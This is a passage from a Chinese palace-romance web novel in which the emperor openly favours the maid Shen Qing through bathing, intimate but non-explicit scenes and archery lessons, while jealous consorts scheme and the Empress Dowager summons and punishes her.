玉嫔思忖着皇上待沈青的態度,终于承认嫣婕妤提前防范是个很正确的事。 只可惜皇后非要铁了心扶持一名宫女,任凭嫣婕妤百般手段,也拗不过中宫之主。 玉嫔卧在软榻上,宫人按揉着她的额头,她道:“去将嫣婕妤请过来,就说我与她有事相商。” 嫣婕妤还算有分量,有心计,这种情形需得合作了。 同一时间,水芳岩秀中,皇后收到消息,听到沈青随身侍奉皇上,便有些搞不清楚了。 将那样一个美人带走,光是当宫女使? 好在沈青没被赐死,皇上虽怒,但听闻从湖岛上乘船回来,怒气便已消散,她揣揣不安的心终于放下了。 青古道:“皇上许是生怒娘娘伤了他的颜面,毕竟先前也没有人给皇上送过人,在这方面皇上的态度无人知晓,我们亦无法提前打探。” 她们这是犯到了皇上的忌讳。 皇后阖眼,皇上离开时的怒气她现下想想都有些畏惧,嫁入太子府以来,皇上还是第一次这么情绪外露。 但就这么严重的一件事,偏偏一下午心情便好了。 她不是不信任禦前讨皇上欢心的能力,而是太相信沈青的嘴甜了,加之两人又同乘一条船,说皇上没动那方面的心她是不信的。 一个能安抚住皇帝的宫女,皇后心里不舒服之余,忽然觉得她日后用着沈青定会棘手许多。 皇后道:“沈青回来,記得先敲打敲打,不能叫她生出异心。” 青古低头:“是。”- 回到皇帝的寝宫,沈青还没忘記给小貓起名,她没有将小貓带走的心思,毕竟小貓呆在皇帝身边可比跟着她前途远大多了。 便是有人想欺负小貓,也得掂量掂量小猫的分量。 而且纪宸见到小猫,也能想到她,简直是一举多得。 “皇上,您就给小猫取一个名字吧,再找人打一个轻便的牌子挂在脖子上,看着也威風凛凛。”沈青缠着纪宸道。 纪宸唇角翘起:“那就叫大虎,既威風又唬人。” 沈青给小猫得了个名字,当下便一阵风跑走了,还冠冕堂皇地说:“我就不打扰皇上处理政务了。” 纪宸的唇角缓缓压平,语气酸涩道:“小没良心。” 身后的钱继默默想,不让人走,倒是把人叫住啊。 左右政务还可以再推一推,近期朝中无聊的很,没什么大事。 结果纪宸转而吩咐他道:“去寻几名会武功也体贴的宫女,随身侍奉她,另外,任何人来找她,都拦住,尤其是朕的几名嫔妃……除非皇后亲自来可以告诉朕,朕会处理。沈青的一应待遇比照着朕,不许将一些破烂东西捧到她面前。” 既然众人皆知沈青会成为嫔妃,那就不需要遮遮掩掩,自是怎么尊贵怎么养。 好叫人掂量掂量他的态度,识趣的嫔妃日后自然不会与沈青作对。 皇帝喜欢一个人,是藏不住,也不需要藏的。 这边沈青去看过小猫后,便使人去给小猫打个金的挂脖小牌子,太监问她上面的字选择哪种书法体。 沈青一拍脑门,又转身去找纪宸求了两个字。 不管纪宸的字美或丑,光是皇帝亲笔便是极有分量的。 在意料之中又在意料之外,纪宸的字不光不丑,还苍劲有力,单这两个简单的字,百兽之王的气势便扑面而来。 将字交给负责此事的太监,沈青便悄悄找上了王定。 此次到避暑山庄,除了钱全忠及一部分人留在乾清宫,其余的人都来了,只不过王积贵鲜少露面,王定她倒见过几次,命苦的很,需要他办的事情很多。 好在都是些锻炼人的事。 沈青找王定,是要问清皇后给她的西域香膏的事,毕竟这东西是贡品,在御前打了个弯才到皇后手中。 这件事悬在她心头,不解决她都睡不好。 而王定恰是负责这一方面的。 王定见到沈青,不由好笑:“怎么跟做贼一样?” 沈青苦恼不已:“正大光明过来岂不给你招致麻烦。” 在她的认知中,皇上还不知道她和王定有联系。御前的人一个两个都与她掺和上,她若是皇帝她都睡不好,所以再小心谨慎也不为过。 王定眼中闪过复杂,傻姑娘,皇帝想要一个人,又如何不将其背景调查的一清二楚,说不定昨天说的话,第二天就记录成册呈上了御案。 他还记得四月的时候皇上特意召见他,问询了关于沈青的事,当时他惊出了一身冷汗,不敢有丝毫隐瞒,一五一十的交代清楚了。 但彼时的皇帝只是问:“她这两日没与你联系?” 他斟酌着回答:“沈青忙起来是见不到人的,何止这两日,这几个月都将奴才忘到身后了,恐是连奴才姓甚名谁都不清楚了。” 他说话,是习惯了打趣儿的,他当时也不知怎么了,竟那般大胆,说那样的话。 皇帝沉寂的气势一松,只是片刻,便叫王定有了喘息机会。 后来他被挥退,皇帝也并没有夺了他御前的职位。 王定心中一定,问沈青:“发生了何事?” 沈青将事情给王定简单说了一遍。 王定肯定道:“西域香膏中没有这种成分。” “皇上不喜这种手段,给你透个底吧,但凡用了此类香料的嫔妃,皇上已经许久没踏入她们的宫殿了。” 沈青好奇问:“是谁?” “林嫔。”王定低声道,“恐怕林嫔现在还摸不清到底哪里触怒了皇上,以为是自己年老色衰不得喜欢。知道这件事的人不多,我也不知道皇后清楚不清楚。” 皇上尚且二十又一,林嫔再是太子府时的姬妾,年龄又能大到哪里去,真称不上年老色衰。 这件事还是他筛查进到皇帝身边物品时,干爹隐晦告诉他的。 沈青实在搞不明白了:“那我这算什么?” 即便如此,她心底还是觉得不是皇后刻意干的,毕竟若是触怒了皇上,皇后才是真的得不偿失。 但她可以拿这件事试探一下皇后的口风。 沈青得到想知道的,见王定苦哈哈的样子,笑着拍了拍他的肩膀:“好好干。” 王定没好气地瞧了她一眼。 待沈青走后,他这才笑着摇了摇头。 第66章 第66章宫女六十六日 沈青见过王定,自然知道那份香膏不能再用了,只是香膏霸道,她身上的气息不知道得多久才能散幹净。 她来避暑山庄也没带多少东西,现下落到她住处的那些倒是不打紧。 左右纪宸这里什么都齐全。 天色渐晚,纪宸和沈青又少用了些晚膳。 纪宸順势开口:“晚上和朕一起睡。” 沈青坦然点了点头,又不是第一次睡了,她心滿意足地将浇了碎冰和果酱的水果吃完。 这才将手放到纪宸的手掌上,仰头道:“皇上,我今天好累啊。” 她困倦地眨了眨一双眼睛,抿了抿吃得冰凉的唇瓣。 纪宸哪能不知道她什么意思,将困得不行的人抱起来,用薄唇碰了碰沈青的唇瓣:“那朕侍奉你沐浴。” 沈青脸颊一红,揪着纪宸的衣裳,朱唇微张,眼神飘忽:“这,这可以嗎?” 不知道是不是因为说了困,她当真感到乏力起来,連抬胳膊都不愿了,只想一直被纪宸这么抱着。 而沐浴一向是个很累人的活,只有在沐浴完成才能感到几分舒适。 她是羞怯于旁人看自己,但这个旁人换成纪宸……早晚都要成好事,或早或晚好像没什么不同,况且她是真累,又不想就这么睡了。 纪宸看出沈青的意动,蛊惑道:“自然可以,汤池是温熱的,泡一泡会很舒服。” 沈青将头埋进纪宸懷里,依赖道:“那好吧。不过,其余什么都不能做!” 真到那一步,再怎么纪宸也该打扮地帅气一点,穿一身简便的常服算什么,一点都不正式。 “我好像从未见陛下穿过红色,深红的衣袍上金龙盘踞,陛下那日戴的金冠就很好,衬得陛下俊美非凡。若是可以,我更喜欢您穿那样的衣裳来抱我,这样就算是有些疼,我也是喜欢的。” 沈青蹭了蹭纪宸。 纪宸心里软的厉害,很明显这是沈青的临时起意,并非是刻意要强调红色,而是覺得他这般更俊逸。 所以他亦没提醒她红色是大婚的颜色。 她这般委婉推拒,不是不喜他,而是怕疼。 沈青尚还是个姑娘,无论她怎么不着调逗他,对圆房还是打心底的畏惧。也是,他第一次親她,于她而言可不是个好体验,惧些也正常。 纪宸再次親了亲沈青的唇瓣,温声道:“朕允了。” 说完,便抱着沈青去沐浴了。 纪宸原本以为沐浴是件再简单不过的事,可真当沈青落在他懷里,他才发现,不知何时,那个娇柔的姑娘已经成为了一名真正的女子。 她的下巴尖尖,任谁看了都要心疼,可衣裳下该丰腴的地方也毫不逊色。 纪宸的手不知往哪出放,眼睛不知往哪出落,汤池中升腾起的雾气放大了女子身上的清幽香气,他握着她的腰肢,呼吸陡变。 深幽眼眸中炙熱的欲望翻滚。 沈青脸颊绯红,面若桃花,她也有些受影响了,纪宸的手掌粗糙,而她的肌膚又养的极为娇嫩……但她不知纪宸怎么变成了这副模样。 他的自制力不是一向惊人嗎? 说不动她就定然不会逾越一步。 沈青咬了咬唇,抬头看向纪宸,他的大半里衣已经浸泡进汤池,发尾也已湿漉漉的,脖颈处豆大的汗水挂在肌膚上,纪宸并没有低头看她,而是仰着头,只能叫人看见他清晰的下颌线与密羽的眼睫。 于是沈青伸手,覆住了纪宸的那双眼睛:“陛下,忍一忍。” 她的声音清浅的厉害,偏抓耳的很,纪宸只覺得心尖似被羽毛輕輕扫过。 这叫他怎么忍? 实在是给他出了个难题。 纪宸的声音低哑,却是说道:“朕答应过你的事,不会反悔。” 他不会让她的第一次这么潦草。 沈青虽然覺得这副情形很不妙,手掌下纪宸的眼睫也动得她手心痒痒。但她心里很信服他,因为纪宸从未食言。 他当得起她全然恋慕地道一声:“我相信陛下。” 纪宸呼吸又乱了,只得道:“莫要说话。”他的眼前隐隐绰绰,看不清晰,但仍有光源闪过。 他的手掌还在沈青的腰身上,根据入水时的惊鸿一瞥开始幫沈青沐浴。 纪宸不好受,沈青又能好 到哪里。 让纪宸幫忙实在是个壞主意,还不如她当时自己受累呢。 明明她什么都没幹,只举着胳膊遮住纪宸的视线,但结束的时候,沈青已经面红耳赤没有力气地倒在纪宸的怀里了,脚上还踩着纪宸的小腿,上面梆硬,但很趁脚。 纪宸拿起一件宽大衣裳胡乱披在沈青身上,便从水里踏出来抱着她去床上。 沈青环着他的脖子,脸红的滴血,不敢抬头看他。 纪宸见此不由觉得好笑,揽着她坐到床上:“把头发擦干再睡。” 沈青下巴一点一点的,让他找梳子和干帕子,擦的差不多再梳順,再擦一遍。 拿到木梳的纪宸并未将其交给沈青,而是他亲自将她的头发从头梳到尾。 毕竟沈青实在疲累,而他却愈发精神起来,不做点什么就得去吻沈青消耗精力了。 而看她困困的样子,又怎能承受得住? 青丝如瀑,乌发顺滑地落到纪宸手中,犹如一匹光泽感极好的绸缎。 纪宸默默嗅了嗅,是淡淡的荷花香气。 他记起,这是避暑山庄特制的沐发之物。 待将头发弄好,已是又过去了一段时间,沈青摸了摸头发,滿意了,心里想着下次可不敢再劳烦纪宸了,无论是沐浴还是擦干头发。 纪宸帮她擦发她是想睡也睡不得,毕竟天子给你劳累,自是得时时候着,哪能怎么惬意怎么来。 再困也被反反复复弄得睁圆了眼。 沈青这么暗暗告诫自己,转身便扑进了纪宸怀里,搂住他的劲腰,热情且黏黏糊糊道:“陛下,我今日好喜欢你!” 纪宸是第一次耗费这么长时间伺候一个人,只觉得现下沈青处处都另他满意。 是他一点点洗干净,梳顺了头发的人。 过程虽是百般艰辛,但成果却是极让他满意,不枉他耗费了许久的时辰与力气。 “只是今日吗?”纪宸抚着沈青的发丝,有点不满意道。 “当然不是!”沈青语气活泼,“我以后一直都会喜欢陛下,但今日的这份喜欢我必须要说出口,不然陛下就体会不到我现在有多么多么喜欢您了。” 沈青的眼睛輕眨:“如果陛下要一直听我说喜欢,日后只要常常来找我,便有数不尽的发自内心的喜欢。只是寻常时候喜欢二字会令我羞涩到说不出口,情到浓时陛下尽管来讨要。” 纪宸将情到浓时四个字在舌尖绕了一圈:“喜欢朕?” 沈青抬头,眼睛亮晶晶地望向纪宸,点了点头:“嗯!” 纪宸的手掌隔着薄薄一层寝衣落到沈青腰间,这么说沈青现下是情浓蜜意的时候,回想起汤池中沈青呼吸不穩,微微急促,不用将手扒下就可以知道她脸红的不正常,他推测道:“喜欢朕用手掌抚过你的肌膚?” 沈青嘴巴微张,震惊于纪宸居然一本正经说出这样的话。 是,她喜欢纪宸的手掌,他的手掌寬大同时手指修长,手背連同小臂的青筋不用特意用力便是鼓起的,伏在皮肤下的。他的手掌有力到在马上握住她的腰就能禁锢地纹丝不动,让人倍感安穩。 到今天,沈青才发现,纪宸的手除了抬起她的下巴外落在肌肤上竟意外的舒服,粗糙的恰到好处,在肌肤上乱点火。 她只能死死咬住嘴唇,连呼吸都不稳了。 但她确确实实是舒爽的,只是不能宣之于口。 沈青现在心情很好,有一部分原因便是纪宸落在她腰上的手在轻轻点着,让她心中酥麻的厉害,腰都有点软了。 沈青润着一双眼睛,眼眶周围泛着红晕,磕磕绊绊道:“是,是,喜欢陛下……” 的手掌。 纪宸心中疯狂念着好乖啊,面上唇角微微一翘:“朕也喜欢你。” 沈青很好,坦率又真诚,也会暗戳戳地想将他留在她身边。 他们以后会一直这般温情蜜意。 纪宸的手掌隔着寝衣落到沈青的大腿上,让她跨坐到自己身上,然后伸手一下一下抚过沈青的脊背,微微用力。 沈青的青丝垂落到肩头,下一刻,纪宸的脸庞骤然放大,她自然地捧住他的脸,吻在了一起。 寝衣沈青穿在身上时还不觉得多薄,但发现纪宸手掌上的热意隔着一层布都能透到她肌肤上时,她在纪宸的手下溃不成军起来…… 羞红脸的水声在床榻周围响起。 以往亲吻过后沈青总会比纪宸稳重许多,即便空气被摄去而导致呼气紊乱,但眼中仍是冷静的。 而现下,即便已经结束躺在床上,将脸埋进纪宸怀里,沈青也久久不能平静。 眼睛亦湿润的厉害。 纪宸含笑寬慰她道:“你方才真的很漂亮动人。” 所以不必觉得羞赧,坦然面对身体直白的反应。 他又能好到哪儿去呢,光是一眼,便会觉得丑陋。 沈青瘪着嘴,闷声道:“你太壞了。” 纪宸轻轻将沈青从怀里拉出来:“是,但那你也得呼吸空气,闷坏了朕心疼。” 沈青别扭地哼了一声,瞧着还是不大高兴的样子。 输给了纪宸,失了面子,她能高兴起来才怪。 都怪纪宸,她这也算将弱点拱手相让了,不敢想纪宸日后会有几多经验来挑逗她。 纪宸吻了吻沈青的额头:“明天朕带你去骑马射箭。” 沈青意动,又笑嘻嘻地靠在纪宸身上:“我太喜欢陛下了!” 纪宸稀罕地摸了摸沈青的脸蛋,这个人即便变脸也是有趣的。 烛火暗淡,女子酣睡在男人的胳膊下。 两人的寝衣搅在一起,不分彼此。 第67章 第67章宫女六十七日 翌日,纪宸處理好政务,如约带沈青去騎马射箭。 为了勾起沈青对騎射的兴趣,不至于三天打鱼两天晒网,或者怕苦怕累被吓到,他便先带沈青到避暑山庄的山林里去狩猎雉雞。 纪宸拉满弓射中一只正在啄食的山雞。 保持安静的沈青这才极给面子的欢呼一声,跑去将一箭射穿了的山鸡和又射进土里的箭矢拔出来,然后拎着来找纪宸。 纪宸道:“交给奴才去捡即可,何必你亲自动手?” 沈青笑盈盈回道:“你狩猎,我捡猎物,不覺得这样很有趣吗?” 她将山鸡交给钱继,将箭矢放进纪宸的箭筒里,这才拍了拍手:“陛下,我们中午吃烤山鸡行吗?” 纪宸亦被感染地眼中含笑了几分,他不想板着脸控制自己的情绪了,至少这几日不太想。 于是他笑道:“自然,你过来,我教你怎么弯弓射物。” 沈青走了两步,钻进纪宸的身前,根据纪宸的指挥左手握到弓的握把上,选取一只箭矢,搭上去。 纪宸用手覆住沈青的雙手,带着她一起使力瞄準到一早就看中的猎物上。 沈青屏气凝神。 “嗖——” 只听一声破空声,箭矢穿过密草钉在猎物身上。 沈青放下弓箭,这才发现原来这有猎物,毕竟方才射到野鸡时四周的动物都窜走了,她还当纪宸只是带着她练练手,随意瞄準的。 现在看来是他眼力超群早就注意到了。 沈青立刻跑了出去,捡起只被钉在箭矢上的猎物,是只灰兔。 她带着灰兔回来,高兴的合不拢嘴:“是我们一起射中的!” 原来射箭没有很難,多练习练习她也能! 纪宸惋惜道:“山庄的山林里没有大型野兽,不然射虎射鹿便 可饱餐一顿。” 这片山林不远處的院落住着的都是贵人,山庄的下人自不会放任能伤人的野物在山林里活动。 沈青却是道:“小猎物射猎起来才有意思,没有多大危險,处理起来简单肉也好吃,我不想讓陛下涉險。” 她略带忧心与责备地看了纪宸一眼。 纪宸拉住她的手,反思道:“确实不好,朕教你弓箭是想讓你活动活动筋骨,非是抱着涉险的目的,青青学会了也不可直接对上野彘。” 野猪凶猛横冲直撞,怕是沈青还没搭上弓野猪便冲到面前了。 他倒是无所谓,虎鹿熊他狩过不少,野彘也不需放在眼里。 沈青一呆,不明白纪宸怎么责备起她了,真是颠倒黑白,她才不会明知不敌就往上冲,明明是纪宸先起的话头。 沈青掷地有声道:“我才不会!” 纪宸闻言便放心了,再不敢说什么虎啊鹿啊去诱使人,其实他那话说出口便后悔了,馋沈青做什么,万一她突然胆大了呢,好在沈青给了台阶,他顺着教育了沈青一顿。 幸好,幸好。 “朕自是相信你。” 沈青看着纪宸很自然带笑又显得高深莫测的模样覺得不太对,环顾了四周,没发现被坑害的地方,不由纳闷。 只能在心里感叹,纪宸的心思真是太诡异了。 之后被纪宸带着去别处狩猎,沈青便忘了这一茬。 晌午他们是在山林里四角翘起的亭子内烤猎物度过的,亭子内阴凉,他们带的东西又很齐全。 刚坐下不一会儿,烤肉香气便飘了出来,再撒上特意调配的香料,肉香扑鼻。 沈青唇角的笑意怎么也压不住,亲自动手翻转起烤肉。 纪宸见此,也不好坐着,拿了小刀来帮沈青将烤肉片下来,因沈青等不及,他便就着刀背,喂给沈青:“这刀没见过血,很干净,放心吃。” 沈青才不在意这个:“陛下片的薄,好吃!” 钱继担心烤肉太腻,让人熬了些羹汤。 待到吃饱喝足,一行人才从山上下来。 纪宸这次出行带的太监都是钱全忠训练出来会武功的——钱继甚至是其中的佼佼者,以及几名侍卫,因此都騎着马。 沈青坐在纪宸的疾奔上,她还没有马,一是对骑马尚且一窍不通,二是纪宸说温顺的马还在挑选。 她窝在纪宸的怀里,因回寝宮不用太急,纪宸就放慢了速度,让沈青更舒服些。 不过这样一来,就必不可免地招摇了。 纪宸是不在乎这些的,或者说他更想叫人知道他对沈青的看重,如此回宮封位份便可更名正言顺。 给了一段时间叫旁人适应,和突然封赏给人的冲击是不同的,前者会有一种早有所料之感,后者更易让人妒恨。 沈青知道自己招眼,便往纪宸怀里靠了靠,只是殊不知如此亲密,更易招人恨。 下午的时候,沈青小憩后便来给纪宸磨墨添香,过了没一会儿就翻看起纪宸放在一旁的几本志趣,喂喂猫,赏赏景一下午的时间便溜走了。 一連几日,沈青和纪宸都是这么过来了,闲暇的时候便出去学骑射,去狩猎,不得空的时候便各干各的。 纪宸知道沈青幼时读过书,便给她找了许多书供她翻看,她去赏景也不拘着她。 宮里的嫔妃哪个不是才学上佳,他不想沈青被人嘲笑,多读书,有了印象,便是之后被讥讽能分出个好坏就行。 也不求沈青学得多深。 起初,嫔妃只是在给皇后请安时旁敲侧击一下,毕竟同骑一匹马,数日伴驾,她们就算再耳目稀少也得了消息。 众人等着皇上会给沈青什么位份,但左等右等,也不见皇上动静。 刚在心里庆幸着皇上许是一时贪欢,但皇上都在避暑山庄快十日了,也不见召幸一人,才骤然发觉不对。 仍是宫女,就意味着不用搬出皇上寝宫,不必来向皇后请安,不必受安排住的离皇上远远的,她们亦不能直接上门讨教。 更不爽的是,沈青利用便利霸占住了皇上! 谁承寵都没有連续不断这么久的。 六月下旬,临近七月的清晨,水芳岩秀中嫔妃聚堆儿给皇后请安。 章才人环顾了一圈位份比她高的嫔妃,看出她们精致妆容下難以掩饰的心浮气躁,不由暗自感叹皇后下了步好棋。 她的寵爱不多,皇上翻不翻牌子跟她没什么关系,她亲近皇后,没人敢薄待她。 所以沈青越是得宠,对她而言越是有利。 蔣美人忽然开口:“皇后娘娘,不知皇上身邊那位妹妹何时册封,一直是宫女總归不妥当。” 楚贵人诧异地看向蔣美人,不封位份不是挺好么,当个宫女總比多名姐妹好。 其余人闻言皆是一振,期待地看向皇后。 皇后知道蒋美人为何会急,本来她因太后抬了位份,皇上合情合理该往她那儿去几次,可偏生冒出了个沈青,又争气的厉害,还未博得位份便学会了截宠。 还不是半路拦住皇上,是从根源上杜绝了旁人承宠的可能。 皇后心中亦是复杂,虽人是她推出去的,可这般情形却是她未预料到的。 便是她当初封后,也没数十日伴在皇上身邊。 然而她当皇后当的并不安稳,德妃贤妃虎视眈眈,在触怒过皇上后,她自不会再提这事犯皇上的忌讳。 沈青有本事留在皇上身边,可不代表其他人能触皇上的霉头。 所以皇后哪儿知道啊,于是不咸不淡道:“皇上自有分寸,尔等等着消息便是。” 蒋美人难掩失望,不过转念一想,沈青是皇后的人,皇后防备着她们自是正常。 同时她心中讥讽地想,皇后娘娘可真大度。 嫣婕妤和玉嫔对视一眼,余光落到蒋美人身上。 她们俩本就对皇后这里不抱什么希望,皇后又不傻,怎会任由她们撺掇着去试探皇上的心思。且皇后有大皇子,皇上不喜的事她不会去做。 但避暑山庄可有一位比皇后更合适的人- 再过几日便到了沈青的生辰。 在沈青还未察觉时,纪宸便已默默准备上了。 这日恰逢纪宸去面见臣子,沈青不好跟着,便在亭子内抱着猫玩。 短短十日的时间,她便愈发容光焕发,许是骑射让人增添了血气,或是调笑时纪宸说的龙气养人,总之,她的长发愈发乌黑亮丽,容貌更加出众,唇不染而红,肌肤细腻瓷白。 从头到脚无一处不好。 加之贵气养人,每日都是不重样的发髻发饰,东西戴过一次便不会出现第二次,衣裳是用最好的布料技艺最精湛的绣娘裁制的,腰间佩环叮当。 这样的人,也无怪乎皇上贪恋了……太后身边的嬷嬷香慧见到这副场景有片刻的失神,接着出现在沈青面前,板着脸道:“沈青姑娘,太后有请。” 沈青身旁的白桃白樱雙双抬眼,又看向沈青。 她们是一对双胞胎,皆有武艺傍身,且都是沉稳的性子,平时连话都少有。 太后不同于旁人,得沈青来拿主意了。 沈青点头:“好,我这就去。” 她将猫交给一旁的小太监,站了起来。 短时间内求助纪宸自是不现实,还不如顺从些,也好让太后少些恶感。 她想过太后会挑剔她,但没想到这一日来的这么早,好在她有心理准备,所以不是很慌张。 香慧嬷嬷的脸色好看了不少,在蒋美人的添油加醋下,她已经做好了这位是个难缠的主,要闹着求皇上做主。 没有想到,竟然不卑不亢地同意了去见太后娘娘。 她可知没有皇上,太后又是个积威已久的主,她会面对怎样的刁难? 即便是一直侍奉太后,以太后为尊的香慧,也不得不承认,太后的脾气变差了很多,只是其余人没在身旁伺候,没什么实感。 沈青跟着香慧嬷嬷前往松鹤斋。 这点路程对她来说不算什么,走到松鹤斋时连汗都没出 ,还顺手搀扶了一把快步走的香慧。 香慧与太后同龄,但因干的是伺候人的活,要比太后这个生育过的还要显老不少。 香慧见状提点她道:“面见太后,乖顺一些。” 越是顺从,太后发起脾气来越觉得没意思,当然,若是表面顺从心中不满,被太后瞧出来了,火气会更大。 沈青抿唇笑道:“谢谢嬷嬷。” 心中的紧张消散不少。 第68章 第68章宫女六十八日(已修)…… 走进松鶴斋,入目便见到太后端坐在上首,半阖着眼,面容沉怒。 她的身旁,侍立着蒋美人。 沈青低眉走到太后面前,跪地叩拜請安道:“奴婢给太后娘娘請安,太后娘娘万福金安。” 蒋美人视线落到沈青腰间,眸光一闪,那玉佩似乎和皇上去岁在除夕宴上佩戴过的是一对,光看成色与雕工,錯不了。 她的目光又落到沈青的发髻上,明亮的珠翠发饰,每件都奢华无双,她身为美人,也未享用过几件这种品质的。 皇上居然拿出来堆到了一名宫女身上。 说她勾得皇上不进后宫倒也没冤枉錯。 蒋美人一心落到沈青的行头上,甚至忘了沈青没向她请安这事。 蒋美人不多嘴,太后也懒得提,她见过的好东西不少,单沈青身上的不足以讓她动容。 太后道:“抬起头,讓哀家瞧一瞧。” 沈青直起身,只是依旧低眉敛目,嘴角平直,从头到尾都没有直视太后。 太后将原本想训斥的“小家子气”几个字咽下去,心里想着怨不得皇儿会对这名宫女下手,实在是好饭摆在这儿,不用就亏了。 比几个月前姝静娇怜的模样长的更好了,光是站在那儿,就自帶一股芳香气。 小丫头长的不妖不娆,是恬静娇柔的女子的模样。 在皇帝面前或许是十分娇气的,但在她面前,安静乖顺,似乎她吩咐做什么她都不会拒绝,更遑论拿皇帝来压她这个太后。 太后看着沈青,心中纳闷,她能翻出什么风浪,竟值得蒋美人口不择言请她主持公道? 皇帝后宫的事她能帮贤妃,是因为贤妃姓颜,蒋美人都得了美人的位份,还要因这后宫的微末小事来烦扰她,实在是不應該。 香慧嬷嬷上前,与太后耳语了一番。 “皇帝本就政务繁忙,你还整日缠着皇帝,讓他陪你骑馬射箭,你可知錯?”太后的目光刮过沈青的脸庞,不怒自威。 太后身居高位久了,她的视线可不是一般人能承受住的,但沈青和皇后皇上呆久了,也是锻炼了出来。 况且太后的权柄不如皇帝,气势自没那么足。 她很快思索给出了反應。 沈青低头愧疚伤怀,利索认道:“回禀太后娘娘,奴婢知错。” 蒋美人心急,看着太后欲言又止,心道,分明是沈青不該再留在皇上寝宫,骑馬射箭不过是皇上喜欢,不然也不会举办狩猎。 再一听沈青的回答,不由震惊,不明白她为何不巧舌如簧争辩一番,太后这话,可太容易分辨个一二三了。 皇上政事根本不忙,不然也不会有如此雅兴。 太后说的是错的。 皇上若不爱骑马射箭,任你怎么缠都不行。 太后冷漠道:“既然知错,那便跪在菩萨面前虔诚认错,哀家这里有一碗杂豆,你可愿意用筷子仔细将其分成三份?” 沈青:“奴婢愿意。” 太后看向香慧:“香慧,你领她去,莫要讓她妨了哀家的眼。” 香慧嬷嬷称是,沈青起身,后退着跟香慧离开,又根据她的指引走到耳房。 松鶴斋的耳房布置着一间小佛堂,线香袅袅,缭绕出后面的一尊观音像。 香炉前面,是一个圆垫蒲团。 香慧嬷嬷低声道:“太后娘娘也常在这里念经诵佛。” 沈青明白她的意思,太后尚且跪拜菩萨,她年輕,跪在这里又有什么好委屈的? 香慧让人将东西找来,将一双细长筷子递给沈青。 捡豆子这种事最是磨心性,尤其豆不饱满,皱皱的一小颗,稍不注意就会从筷子上溜走。且用的还是又细又长的筷子,这已经不能称之为筷子了,简直是两根长棍。 一个装满杂豆的大碗和三个一模一样的小碗摆放在沈青面前。 她连吸气都没有,便开始分拣起来。 夹起一颗豆子放到碗里她便默数一个数。 心里想着,倒要看看纪宸是第几颗豆子才来。 外间,沈青离开后气氛便安静了下来,几息后,太后不耐地抚着额头:“你到底想说什么?” 蒋美人紧张起来,她虽然心里不满太后磋磨人的力度,但更不敢出言指手画脚。 太后这一问,她鼓足勇气试探着开口:“太后娘娘,难道任由沈青一直呆在皇上身邊做宫女?” 蒋美人跟大部分嫔妃想的一样,若能防备沈青做嫔妃自然再好不过,但眼看着防不住,堵不如疏,比起仍跟在皇上身邊做宫女,还不如早早成为嫔妃呢。 “太后娘娘不如下道懿旨,将沈青提拔为宝林,这样既不会委屈了她,又保全了皇上的名声,听上去也名正言顺。” 太后看了一眼暗藏心思的蒋美人,心里摇了摇头。 蒋美人告诉她皇上名声因沈青有损,流言纷纷,她这才将人传召过来,心中也确实愤怒。 区区一个宫女,妨碍了皇上理应当诛。 但见到沈青后,她的心情慢慢平复下来。 皇帝寵一个人,有错吗? 若皇上寵誰她作为太后就要针对誰,嫣婕妤玉嫔也不会过的那么自在了,长久下来,是生怕皇儿不与她这个母后离心吗? 最主要的是,沈青长的也确实不是跋扈挑事的人。 况且皇上的皇子都已经三个了,皇上从前是没进后宫吗?偏偏这些个嫔婕妤貴人,一个个肚子不争气,白占着那么好的恩寵不传出好消息。 沈青就算不霸着皇上,将恩寵分给这几名嫔妃,几个月下来又能有几个好消息? 一年半都没怀,多半是废了。 太后斜睨了蒋美人一眼:“李婕妤的恩宠比你薄,怎她能怀,你不能怀?” 蒋美人顿时鬧了个大红脸,呐呐吐不出什么话。 太后又道:“不求生下皇子了,便是一名公主,也能叫这宫廷热鬧热闹,你啊你。” 太后惋惜地摇着头,欣赏着蒋美人乍红乍白的脸色。 凭她这样的人,也敢挑唆她跟她的皇儿对上? 太后继续戳着蒋美人的痛处:“你的容貌不如得宠的嫔妃,该急的也非你,你好歹也是大家闺秀,怎么这么沉不住气?” 太后一点都不想承认一开始听了蒋美人的话沉不住的人是她。 蒋美人此时已经用绣帕捂住了半边脸,她恍惚地想,太后应是无意的吧。 不然怎么净往她心口剜? 蒋美人依赖太后,当下鼻子一酸眼泪落下,吐露委屈道:“太后娘娘,本来皇上抬了嫔妾的位份,也该轮到嫔妾得宠了。” 大好的时机被破坏,她怎能不恨不急? 太后淡淡道:“你得不了宠。” 蒋美人哭的更凶了,不解地看向太后。 “你的位份是因哀家而得,即便得宠,也是一两日,你扪心自问,你留得住皇上吗?” 蒋美人想起曾经皇上短暂留在她身上淡漠的目光,不甘地缓缓摇了摇头。 太后覺得蒋美人是个蠢货,但在这宫中,只有蒋氏真心陪着她,因此一些事她不介意掰碎了给她讲:“皇帝的恩泽是有数的,多了沈青,便会少了玉嫔嫣婕妤楚貴人的宠,有些人不需恩宠也能活,譬如楚贵人,她有父兄有德妃做依靠,有些人必须牢牢握住恩宠才能不落人后,譬如玉嫔嫣婕妤。” “而你,你有哀家,恩宠少又不是什么坏事,难道宫里谁敢薄待你吗?” “该蹚浑水的不是你,而是另有其人,你就瞧着,她们三人,谁能走到最后。” 蒋美人怔怔落着泪,她将自己看得太重,其实她压根没资格去妒恨一名会得皇上长久眷顾的人。 嫣婕妤和玉嫔正是利用了这一点,想让她与沈青斗起来。 蒋美人面容羞惭,不敢跟太后提这件事,不然被太后知晓她这么容易被当刀子使更会覺得她不中用。 太后已经在心里念了好几句蠢货,方覺得痛快,见状挥了挥手,叫蒋美人离开。 蒋美人从屋内出来,迎面碰上皇帝下了马朝太后居所疾步走来,余光窥见皇上落到她身上略帶嫌恶的目光,身体一僵,不忘埋头请安。 心中叫苦连连,恐怕在皇上心中,已是认定是她挑唆了太后。 蒋美人埋怨嫣婕妤和玉嫔的同时,已然被后悔淹没了。 纪宸走进松鹤斋,大致一扫,不见沈青,不由纳闷。 “母后。”他看向太后,面上还稳得住,只是薄唇輕抿,透露着内心并不似他表现的这般平淡。 太后见到皇帝自是高兴,虽清楚他是为谁而来,但不急于提。 她让宫人给纪宸上茶:“你往日最爱喝的,哀家一直让人给你备着。” 纪宸哪有心思喝茶,他刚面见完大臣便听到这则消息,慌忙从政堂赶到这里,直到进来前神情才稳重了几分。 他不早点见到沈青,自己心中不安定,之后也会落得埋怨。 不用想就知道沈青会怎么责备他:你太讨厌了,来得这么晚,让我受苦受累这么久。 而他的母后他也略有了解,他若是看重沈青太过,超过了母后,母后面上不说,心中绝对会迁怒沈青。 